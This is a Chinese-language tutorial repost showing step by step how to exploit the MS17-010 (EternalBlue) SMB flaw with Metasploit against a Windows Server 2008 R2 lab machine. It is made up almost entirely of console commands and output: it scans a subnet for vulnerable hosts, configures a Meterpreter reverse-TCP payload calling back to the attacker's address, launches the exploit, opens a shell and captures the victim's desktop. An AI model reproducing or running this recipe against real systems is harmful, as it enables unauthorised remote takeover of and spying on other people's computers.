ms17010漏洞利用msf 2019-03-27 ms070-
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了ms17010漏洞利用msf 2019-03-27 ms070-相关的知识,希望对你有一定的参考价值。
参考技术A 0x01 实验环境攻击机:kali linux
ip:10.10.10.131
目标机:windows 2008 R2
ip:10.10.10.132
0x02 配置exploit
msf > use exploit/windows/smb/ms17_010_eternalblue
msf exploit(ms17_010_eternalblue) > set rhost 10.10.10.132
rhost => 10.10.10.132
查看选项
msf exploit(ms17_010_eternalblue) > show options
设置目标机的IP,其他选项默认就可以;
注意:选项中说明了此exploit对应的目标系统,所以并不是具有该漏洞的系统都能利用此exploit;
0x03 配置payload
payload只需要配置监听返回会话的IP;
msf exploit(ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(ms17_010_eternalblue) > set lhost 10.10.10.131
lhost => 10.10.10.131
0x04 开始攻击
警告:攻击过程可能导致目标系统宕机重启,谨慎操作!
msf exploit(ms17_010_eternalblue) > exploit
成功获得session。
shell 进入主机操作
使用MSF对MS17-010的利用演示
过程:
1、扫描: 信息搜集(刺探)
2、漏洞利用
一、首先检测网段内存在漏洞的主机系统:
使用命令:
msf > use auxiliary/scanner/smb/smb_ms17_010 //加载扫描exp msf auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.22.1/24 //配置扫描网段 msf auxiliary(scanner/smb/smb_ms17_010) > run //进行扫描
结果如下:
二、漏洞利用
msf利用命令如下:
msf > use exploit/windows/smb/ms17_010_eternalblue //加载攻击模块 msf exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.22.25 //配置攻击目标IP RHOSTS => 192.168.22.25 msf exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.5.146 //配置本机IP LHOST => 192.168.5.146 msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp //配置回链方式 payload => windows/x64/meterpreter/reverse_tcp msf exploit(windows/smb/ms17_010_eternalblue) >
查看当前配置的payload
msf exploit(windows/smb/ms17_010_eternalblue) > show options //查看配置选项 Module options (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- GroomAllocations 12 yes Initial number of times to groom the kernel pool. GroomDelta 5 yes The amount to increase the groom count by per try. MaxExploitAttempts 3 yes The number of times to retry the exploit. ProcessName spoolsv.exe yes Process to inject payload into. RHOST 192.168.22.25 yes The target address RPORT 445 yes The target port (TCP) SMBDomain . no (Optional) The Windows domain to use for authentication SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VerifyArch true yes Check if remote architecture matches exploit Target. VerifyTarget true yes Check if remote OS matches exploit Target. Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.5.146 yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Windows 7 and Server 2008 R2 (x64) All Service Packs msf exploit(windows/smb/ms17_010_eternalblue) >
发起攻击:
攻击命令: msf exploit(windows/smb/ms17_010_eternalblue) > exploit //发起攻击
获取对方电脑桌面:
meterpreter > screenshot Screenshot saved to: /root/RBDEvfGv.jpeg //可以到root目录下 查看对方电脑的截屏
获取shel权限
有关更多获取权限后的攻击技巧, 请自行百度 msf 后渗透 攻击模块
以上是关于ms17010漏洞利用msf 2019-03-27 ms070-的主要内容,如果未能解决你的问题,请参考以下文章